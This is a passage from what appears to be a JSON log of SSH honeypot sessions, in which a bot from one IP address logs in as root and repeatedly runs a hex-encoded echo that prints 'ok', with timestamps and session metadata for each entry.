  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8ab62407-61ec-4a0e-9f29-1643cadc64b9",
  "name": "courtly-vaulted-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34792,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:51.775073+00:00",
  "ended_at": "2026-08-23T09:13:53.006151+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "09b3b8d4-a210-416e-a716-6b8fca3e6620",
  "name": "courtly-wandering-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34778,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:49.660897+00:00",
  "ended_at": "2026-08-23T09:13:50.930857+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3d82ad3a-7dcb-466e-84ee-78cd6f563fe7",
  "name": "fringed-merry-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54312,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:47.135917+00:00",
  "ended_at": "2026-08-23T09:13:49.010850+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "701c8472-ed47-4533-a831-cb4a71bcf837",
  "name": "brazen-distant-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:44.531083+00:00",
  "ended_at": "2026-08-23T09:13:46.494382+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e08d6122-f8c3-4543-8230-406cf59041d8",
  "name": "golden-brazen-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54290,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:42.471868+00:00",
  "ended_at": "2026-08-23T09:13:43.797619+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6e26b29f-c6c7-4fb8-8d96-e39942b5c101",
  "name": "bronzed-thawing-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54280,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:39.645431+00:00",
  "ended_at": "2026-08-23T09:13:41.710616+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bf021150-9158-437b-850b-fcf4e8e6a360",
  "name": "clever-rambling-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43568,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:36.922398+00:00",
  "ended_at": "2026-08-23T09:13:39.017190+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7e93f5ef-2a15-40e2-b8a2-cf38c1fe7c9c",
  "name": "muted-hardy-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43558,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:35.154056+00:00",
  "ended_at": "2026-08-23T09:13:36.083067+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e2026b5a-2999-438b-8126-36aff4be37d8",
  "name": "distant-proud-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43542,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:32.389869+00:00",
  "ended_at": "2026-08-23T09:13:34.357832+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4e5614bc-af4b-4b24-a85b-f14de1352197",
  "name": "ginger-regal-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43526,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:29.441934+00:00",
  "ended_at": "2026-08-23T09:13:31.678307+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "81095e29-36ef-4226-a756-8019933d2311",
  "name": "stoic-brave-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59428,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:27.654065+00:00",
  "ended_at": "2026-08-23T09:13:28.597583+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "82a11ab6-cde4-4538-adf1-1606e4d6161c",
  "name": "blithe-grassy-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59414,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:24.977124+00:00",
  "ended_at": "2026-08-23T09:13:26.998727+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d7714c5e-933f-4cf1-b16f-00c3f27ada28",
  "name": "keen-steady-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59406,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:22.861260+00:00",
  "ended_at": "2026-08-23T09:13:24.312094+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "421a3ee9-cd6a-49ff-a874-eada610bc308",
  "name": "prickly-eager-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59390,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:20.137334+00:00",
  "ended_at": "2026-08-23T09:13:22.168422+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3f080d41-037b-4414-aaae-a98808ae19ed",
  "name": "clever-jovial-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36766,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:18.376776+00:00",
  "ended_at": "2026-08-23T09:13:19.323331+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f147c15e-fd88-4f26-995f-2a9a0e473ae6",
  "name": "frank-humble-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36760,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:15.482943+00:00",
  "ended_at": "2026-08-23T09:13:17.722744+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "672ddc3a-20c3-4373-a385-58664ed1a743",
  "name": "orderly-clever-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36744,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:13.010223+00:00",
  "ended_at": "2026-08-23T09:13:14.805967+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0a5eaaa0-78d8-414d-b1a9-65a3abde5196",
  "name": "thawing-gilded-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32932,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:06.596015+00:00",
  "ended_at": "2026-08-23T09:13:12.252151+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "11701840-2f4a-4096-89ff-9d96320a79e5",
  "name": "hollow-craggy-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:04.226786+00:00",
  "ended_at": "2026-08-23T09:13:05.810103+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "04049ecc-2f70-4cff-97b1-b4f7c7c4cfee",
  "name": "blithe-orderly-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:02.495082+00:00",
  "ended_at": "2026-08-23T09:13:03.395268+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "67e1b68b-f4ba-467b-96d3-5a660c26a6c7",
  "name": "courtly-foggy-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32916,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:13:00.661212+00:00",
  "ended_at": "2026-08-23T09:13:01.757531+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "df929cbc-e2bf-43d3-b9e9-6ae20f284229",
  "name": "weathered-vernal-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33704,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:58.743999+00:00",
  "ended_at": "2026-08-23T09:12:59.885085+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "498b722e-e687-41b4-8b71-5028b9063363",
  "name": "jolly-watchful-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33694,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:56.496710+00:00",
  "ended_at": "2026-08-23T09:12:58.045751+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "901c6c2f-ad12-40ae-9364-3bf525cb98ff",
  "name": "vivid-silent-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33688,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:54.575302+00:00",
  "ended_at": "2026-08-23T09:12:55.849136+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a04c9a1c-a564-45f2-8eb9-adfbd9c3f435",
  "name": "solemn-wiry-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33676,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:52.140461+00:00",
  "ended_at": "2026-08-23T09:12:53.732591+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "acbb870c-6918-4c44-b99e-326b6396770f",
  "name": "golden-leafy-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33660,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:50.128847+00:00",
  "ended_at": "2026-08-23T09:12:51.322106+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aee05c9e-fa92-4f5f-9df5-2df4f0b02fa2",
  "name": "salty-woven-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52186,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:48.047220+00:00",
  "ended_at": "2026-08-23T09:12:49.337643+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a1d9a3f6-beaf-4110-9769-e22b9b836edd",
  "name": "misty-vivid-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52182,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:46.084049+00:00",
  "ended_at": "2026-08-23T09:12:47.368791+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e5600fbf-5e60-46ae-acd4-0698cadeb8f1",
  "name": "inland-reedy-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:44.215110+00:00",
  "ended_at": "2026-08-23T09:12:45.372439+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cebc427a-358f-407d-97a8-aefaab293d70",
  "name": "quartz-tender-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52160,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:41.865029+00:00",
  "ended_at": "2026-08-23T09:12:43.582154+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b89dd916-d1c2-406c-8746-c1cb44ab1eb4",
  "name": "whispering-marine-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52146,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:40.206546+00:00",
  "ended_at": "2026-08-23T09:12:41.170830+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4501dd29-c7af-4833-9679-c39e7b7de0d0",
  "name": "windswept-plush-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38434,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:37.463369+00:00",
  "ended_at": "2026-08-23T09:12:39.460829+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "25cc5bf0-326e-41b7-beb9-a738bec1dffa",
  "name": "hollow-prairie-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38432,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:35.291737+00:00",
  "ended_at": "2026-08-23T09:12:36.676948+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "69b5d6b9-97de-491c-8cc0-4c79e7dc3a70",
  "name": "fleeting-lawful-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38426,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:33.321462+00:00",
  "ended_at": "2026-08-23T09:12:34.601825+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1de3209c-c976-4f60-bd9f-304e2b902aa7",
  "name": "smoky-bronzed-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38410,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:30.791382+00:00",
  "ended_at": "2026-08-23T09:12:32.648708+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f2ce3235-a03a-4030-8822-2b4760f3b95b",
  "name": "shaded-smooth-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38394,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:29.132154+00:00",
  "ended_at": "2026-08-23T09:12:30.130967+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6abc99cf-7395-41e3-b7ee-bd4998263873",
  "name": "wandering-drifting-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45704,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:26.611810+00:00",
  "ended_at": "2026-08-23T09:12:28.309302+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "17406277-9789-4296-961a-6df3367def04",
  "name": "fearless-frank-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45702,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:23.877390+00:00",
  "ended_at": "2026-08-23T09:12:25.945896+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "df7b4eab-c8f7-44f4-b796-e17b35cd55d0",
  "name": "somber-dutiful-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45688,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:22.210875+00:00",
  "ended_at": "2026-08-23T09:12:23.162601+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ee7f9a72-dd24-49b8-aeef-2103b671fa62",
  "name": "stormy-weathered-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45672,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:20.042107+00:00",
  "ended_at": "2026-08-23T09:12:21.434530+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2af7a577-3f40-4bf7-83f7-4516c0940922",
  "name": "brave-foggy-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33418,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:17.939280+00:00",
  "ended_at": "2026-08-23T09:12:19.424079+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2a840a7f-8900-42c8-83d1-27be0740300f",
  "name": "wistful-quaint-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33416,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:15.874072+00:00",
  "ended_at": "2026-08-23T09:12:17.271223+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7bea37c4-0a8a-4db1-adb9-64edd12cf52a",
  "name": "diligent-pleasant-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33400,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:13.136581+00:00",
  "ended_at": "2026-08-23T09:12:15.036170+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bb622da3-5eb4-4afd-9220-7284ecdca829",
  "name": "bronzed-woven-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33384,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:10.563788+00:00",
  "ended_at": "2026-08-23T09:12:12.409833+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4546a99b-4dbf-4681-8a3d-01debbb6be0c",
  "name": "sunlit-serene-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57798,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:08.170899+00:00",
  "ended_at": "2026-08-23T09:12:09.851862+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "84e99ded-b8e6-4436-9b26-8c8b472cda8f",
  "name": "courtly-silent-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57788,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:05.479130+00:00",
  "ended_at": "2026-08-23T09:12:07.462522+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d2a1dd18-3ce9-496e-b896-ac05e33e3044",
  "name": "solar-rugged-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57786,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:02.783481+00:00",
  "ended_at": "2026-08-23T09:12:04.648535+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a3cd7a18-1694-47bb-9bcf-5adfcb9bac9d",
  "name": "prairie-boreal-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57774,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:12:00.006444+00:00",
  "ended_at": "2026-08-23T09:12:02.096082+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "71a9612f-735c-493b-aaf3-38213d8a7c1e",
  "name": "hazy-hazel-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53598,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:57.081039+00:00",
  "ended_at": "2026-08-23T09:11:59.330279+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
